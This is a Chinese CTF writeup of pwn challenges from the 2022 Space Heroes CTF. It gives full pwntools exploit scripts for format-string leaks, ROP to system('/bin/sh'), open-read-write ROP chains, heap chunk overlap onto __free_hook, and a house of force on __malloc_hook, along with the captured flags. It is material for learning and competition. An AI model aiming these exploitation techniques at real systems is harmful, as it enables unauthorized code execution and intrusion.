2022 spaceheroCTF(shctf)有关pwn的writeup。相关附件我放在链接
松神AK re太强了,海伟哥单砍高分pwn题太强了,我啥也不会,太菜了!!!!要多多努力!!!!
pwn guardians of galaxy 白给x64格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *filename="./guardians" libc_name="/lib/x86_64-linux-gnu/libc.so.6" io = remote('0.cloud.chals.io' ,12690 ) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] io.recvuntil('Does Quill manage to win the dance battle?' ) payload = "%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p" io.sendline(payload) io.interactive()
warm up to dark side 盲打,但是白给system地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *io = remote('0.cloud.chals.io' , 30096 ) context.log_level='debug' context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] io.recvuntil('The Dark Side resides at: ' ) addr = int (io.recvuntil('\n' ,drop=True ),16 ) success("addr: " + hex (addr)) io.sendline(p64(addr)*8 ) io.interactive()
vader 直接ROP libcSearcher查不到偏移,网上查到是libc6_2.33-3_amd64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import *filename="./vader" io = remote('0.cloud.chals.io' ,20712 ) elf=ELF(filename) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] pop_rdi = 0x000000000040165b io.recvuntil('Now I am the master >>>' ) payload1 = b"" payload1+=b"a" *0x28 payload1 +=p64(pop_rdi) payload1+=p64(elf.got['puts' ]) payload1+=p64(elf.plt['puts' ]) payload1+=p64(0x4015B5 ) io.sendline(payload1) libc_info = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' )) success("libc_info: " + hex (libc_info)) libc_base = libc_info - 0x75de0 success("libc_base: " + hex (libc_base)) system = libc_base + 0x49850 binsh = libc_base + 0x188962 io.recvuntil('Now I am the master >>>' ) payload2 = b"" payload2+=b"a" *0x28 payload2 +=p64(pop_rdi) payload2+=p64(binsh) payload2+=p64(system) io.sendline(payload2) io.interactive()
shctf{th3r3-1s-n0-try}
T0NY TR4N5L4T0R 不知道啥逻辑 反正控到指针了,直接调回main就好了 io_buf他没清零,远程端有点问题,直接发payload就可以了,本地io和题目一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context.arch = 'i386' context.terminal = ['tmux' , 'split' , '-hp' , '60' ] io = remote("0.cloud.chals.io" ,26008 ) io.sendline(b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaana' +p32(0x0804921d )+b'a' ) io.interactive()
shctf{Y00_175_70NY_574RK}
satisfied shctf{Whos-Th3-k1ng-of-Ur-Sat3ll1te-Castl3}
用z3求解约束即可。这个binary有个printf没有换行,导致输出很麻烦,本地调试要patch一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *from z3 import *filename="./satisfy" libc_name="/lib/x86_64-linux-gnu/libc.so.6" io = remote('0.cloud.chals.io' ,34720 ) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] def solve (random_num ): a1=BitVec("a1" ,64 ) a2=BitVec("a2" ,64 ) result = 31337 random_ = BitVecVal(random_num,64 ) solver=Solver() solver.add(((a1<<a2)^random_ )== result) solver.check() m = solver.model() a1_ans = int (str (m.evaluate(a1))) a2_ans = int (str (m.evaluate(a2))) success("a1: " + hex (a1_ans)) success("a2: " + hex (a2_ans)) return (a1_ans,a2_ans) def debug (): cmd = "" cmd +="b *0x4014C0\n" cmd +="b *0x40143B\n" gdb.attach(io,cmd) io.recvuntil('Here is a random token ' ) token = int (io.recvuntil('\n' ,drop=True )) success("token: " + str (token)) (a1,a2) = solve(token) io.recvuntil('response >>>' ) payload = b"" payload +=p64(0 )*2 payload +=p64(a2) payload += p64(a1) payload = payload.ljust(0x28 ,b'\x00' ) payload+=p64(0x4013AA )*5 io.sendline(payload) io.interactive()
Rocket shctf{1-sma11-St3p-f0r-mAn-1-Giant-l3ap-f0r-manK1nd}
我傻了根本不用泄露libc。直接猜heap_base然后orw就可以了..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *filename="./rocket" libc_name="/lib/x86_64-linux-gnu/libc.so.6" io = remote('0.cloud.chals.io' ,13163 ) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] def debug (): cmd = "" cmd +="brva 0x1604" gdb.attach(io,cmd) io.recvuntil('authenticate >>>\n' ) offset = 10 fmt_payload = "%6$p" io.sendline(fmt_payload) io.recvuntil('<<< Welcome: ' ) code_base = int (io.recvuntil('\n' ,drop=True ),16 )-0x10e0 success("code_base: " + hex (code_base)) flag_txt = 0x002db8 +code_base pop_rdi = 0x000000000000168b +code_base pop_rax = 0x0000000000001210 +code_base pop_rsi_pop_r15 = 0x0000000000001689 +code_base pop_rdx = 0x00000000000014be +code_base syscall_ret = 0x00000000000014db +code_base rop_chain = b"" rop_chain +=p64(pop_rax) rop_chain +=p64(2 ) rop_chain+=p64(pop_rdi) rop_chain+=p64(flag_txt) rop_chain+=p64(pop_rsi_pop_r15) rop_chain+=p64(0 )*2 rop_chain+=p64(pop_rdx) rop_chain+=p64(0 ) rop_chain+=p64(syscall_ret) rop_chain +=p64(pop_rax) rop_chain+=p64(0 ) rop_chain+=p64(pop_rdi) rop_chain+=p64(3 ) rop_chain+=p64(pop_rsi_pop_r15) rop_chain+=p64(code_base+0x5800 ) rop_chain+=p64(0 ) rop_chain+=p64(pop_rdx) rop_chain+=p64(0x100 ) rop_chain+=p64(syscall_ret) rop_chain+=p64(pop_rax) rop_chain+=p64(1 ) rop_chain+=p64(pop_rdi) rop_chain+=p64(1 ) rop_chain+=p64(pop_rsi_pop_r15) rop_chain+=p64(code_base+0x5800 ) rop_chain+=p64(0 ) rop_chain+=p64(pop_rdx) rop_chain+=p64(0x100 ) rop_chain+=p64(syscall_ret) rop_payload =b"a" *0x48 + rop_chain io.sendlineafter('>>>\n' ,rop_payload) io.interactive()
Star Wars Galaxies 2 shctf{l00k1ng_f0rw4rd_2_k0t0r_r3m4k3}
真的是绝了。。。fmtstr_payload给我用%lln写一个一byte的数据。不然俩小时前就做出来了。不知道这算不算是bug。 用格式化字符串改栈上数据即可。就是要小心一点很容易多改。而且远程可能要多试几次才行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *filename="./starwar" io = remote('0.cloud.chals.io' , 34916 ) context.log_level='debug' elf=ELF(filename) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] context.arch = "amd64" def afterarrow (con ): io.sendlineafter('>>' ,con) def add (name,num ): afterarrow('0' ) io.sendlineafter('Enter your player name: ' ,name) io.sendlineafter('Enter your player id number: ' ,str (num)) io.sendlineafter('Select your player class: ' ,str (1 )) def show (): afterarrow('2' ) def play (): afterarrow('1' ) def debug (): cmd ="" cmd +="brva 0x154F\n" cmd +="brva 0x14E6\n" gdb.attach(io,cmd) offset = 8 fmt = "%25$p...%7$p" add(fmt,0 ) show() heap_info = int (io.recvuntil('...' ,drop=True ),16 ) heap_base = heap_info - 0x0040a0 success("heap_base: " + hex (heap_base)) stack_info = int (io.recvuntil('\n' ,drop=True ),16 ) success("stack_info: " + hex (stack_info)) change_place = stack_info - 44 + 3 boss_place = stack_info - 44 +4 success("change_place: " + hex (change_place)) boss = heap_base + 0x40a0 success("boss: " + hex (boss)) fmt2 = fmtstr_payload(offset,{boss:0x61 }) add(fmt2,1 ) show() fmt3 = fmtstr_payload(offset,{change_place:0xFF },write_size='byte' ) fmt3 = fmt3.replace(b'lln' ,b'hhn' ) add(fmt3,0xfffc18 ) show() play() io.interactive()
Rings of Saturn 这个题目比赛的时候没做出来,赛后复现出来的。
先看看逆出来的结构体。这道题逆起来还是有点麻烦。idb文件我也放在上面的链接中了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00000000 ringbuf struc ; (sizeof =0x1A , mappedto_8)00000000 data_ptr dq ?00000008 next dq ?00000010 size dq ?00000018 data dw ?0000001 A ringbuf ends0000001 A00000000 ; ---------------------------------------------------------------------------00000000 00000000 head struc ; (sizeof =0x20 , mappedto_9)00000000 ptr_head dq ?00000008 tail dq ? ; offset00000010 start dq ? ; offset00000018 size_all dq ? ; seg00000020 head ends
主要是head作为链表尾指针,ringbuf作为链表每个节点,构成的环形链表。
比赛的时候我重点看了write部分和delet部分,这两个部分真的是完全没有漏洞,,于是后来就放弃了。赛后看了别的师傅的wp才发现漏洞点在于下面buf_init阶段
1 2 remain = (ringbuf *)calloc (((size - total_size + 15 ) & 0xFFFFFFFFFFFFFFF0 LL) + 8 , 1uLL ); remain->size = size - total_size;
如果我们输入size=1000,那么remain的结果是
(1000-0+15)&0xffffffffffffff0+8
,也就是0x3f8。这个将被写在remain->size
的地方,也就是我们能写的长度。这将导致我们能够覆盖下一个chunk的size。因此后面直接改掉后面chunk的size构造chunk overlpping就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *filename="./rings_of_saturn" libc_name="./libc.so.6" io = process(filename) context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] index = 0 def afterarrow (content ): io.sendlineafter('> ' ,content) def add (size ): global index afterarrow('0' ) afterarrow(str (size)) index+=1 return index def remove (index ): afterarrow('1' ) afterarrow(str (index)) def print (index ): afterarrow('2' ) afterarrow(str (index)) def write (size,content ): afterarrow('3' ) afterarrow(str (size)) afterarrow(content) def debug (): cmd ="" cmd +="b *0x0400C1E\n" cmd +="b *0x400D48\n" cmd +="b *0x400C17\n" gdb.attach(io,cmd) og = [0x4f365 ,0x4f3c2 ,0x10a45c ] io.recvuntil(b'lol ' ) leak_value = int (io.recvline(),16 ) libc_base = leak_value - libc.symbols['exit' ] - 0xc195 success("libc_base: " + hex (libc_base)) io.sendlineafter('> ' ,'1000' ) chk1 = add(1000 ) chk2 = add(1000 ) chk3 = add(1000 ) chk4 = add(1000 ) remove(chk3) write(1000 ,b"a" *992 +p64(0x410 +0x410 +1 )) remove(chk1) giant = add(0x820 -8 -24 ) success("chk2: " + hex (chk2)) success("giant: " + str (giant)) remove(1 ) write(1000 ,b"a" *1000 ) payload = b"a" *(1000 -8 )+p64(0xdeabeef )+p64(0 )+p64(0x411 )+p64(libc_base+libc.symbols['__free_hook' ]-0x50 ) write(len (payload),payload) free_hook = libc_base + libc.symbols["__free_hook" ] fake2 = add(1000 ) add(1000 ) remove(giant) remove(chk4) remove(fake2) write(1000 ,b"a" *(1000 -8 )+p64(0xdeadcafe )) write(56 ,p64(0 )*7 ) write(8 ,p64(libc_base+og[1 ])) remove(2 ) io.interactive()
Use the Force, Luke house of force,改malloc_hook到system,读一个/bin/sh的地址
shctf{st4r_w4rs_1s_pr3tty_0v3rr4t3d}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from os import systemfrom turtle import onclickfrom pwn import *context.arch = "amd64" context.terminal = ['tmux' , 'split' , '-hp' , '60' ] io = remote("0.cloud.chals.io" ,11996 ) libc = ELF('./libc.so.6' ) io.recvuntil(b'You feel a system at ' ) system_addr = int (io.recv(14 )[2 :],16 ) log.info("system_addr : " + str (hex (system_addr))) io.recvuntil(b'You feel something else at ' ) chunk_addr = int (io.recv(9 )[2 :],16 ) log.info("chunk_addr : " + str (hex (chunk_addr))) libc_base = system_addr - 0x41b70 libc.address = libc_base log.info("libc_base_addr : " + str (hex (libc_base))) offset = libc.symbols['__malloc_hook' ] - chunk_addr - 60 log.info("offset : " + str ((offset))) log.info("malloc hook:" + str (hex (libc.symbols['__malloc_hook' ]))) io.recvuntil(b'(2) Surrender\n' ) io.sendline(b'1' ) io.recvuntil(b'How many midi-chlorians?:' ) io.sendline(b'10' ) io.recvuntil(b'What do you feel?:' ) io.sendline(b'A' *0x18 + p64(0xffffffffffffffff )) io.recvuntil(b'(2) Surrender\n' ) io.sendline(b'1' ) io.recvuntil(b'How many midi-chlorians?:' ) io.sendline(str (offset)) io.recvuntil(b'What do you feel?:' ) io.sendline(b'' ) io.recvuntil(b'(2) Surrender\n' ) io.sendline(b'1' ) io.recvuntil(b'How many midi-chlorians?:' ) io.sendline(str (10 )) io.recvuntil(b'What do you feel?:' ) io.sendline(p64(system_addr)) sh_addr = 0x0000000000177375 + libc_base io.recvuntil(b'(2) Surrender\n' ) io.sendline(b'1' ) io.recvuntil(b'How many midi-chlorians?:' ) io.sendline(str (sh_addr)) io.interactive()
总结 一次简单的比赛!松神AK逆向,松神太强了!(我没做出来rings of sarurn真是太菜了)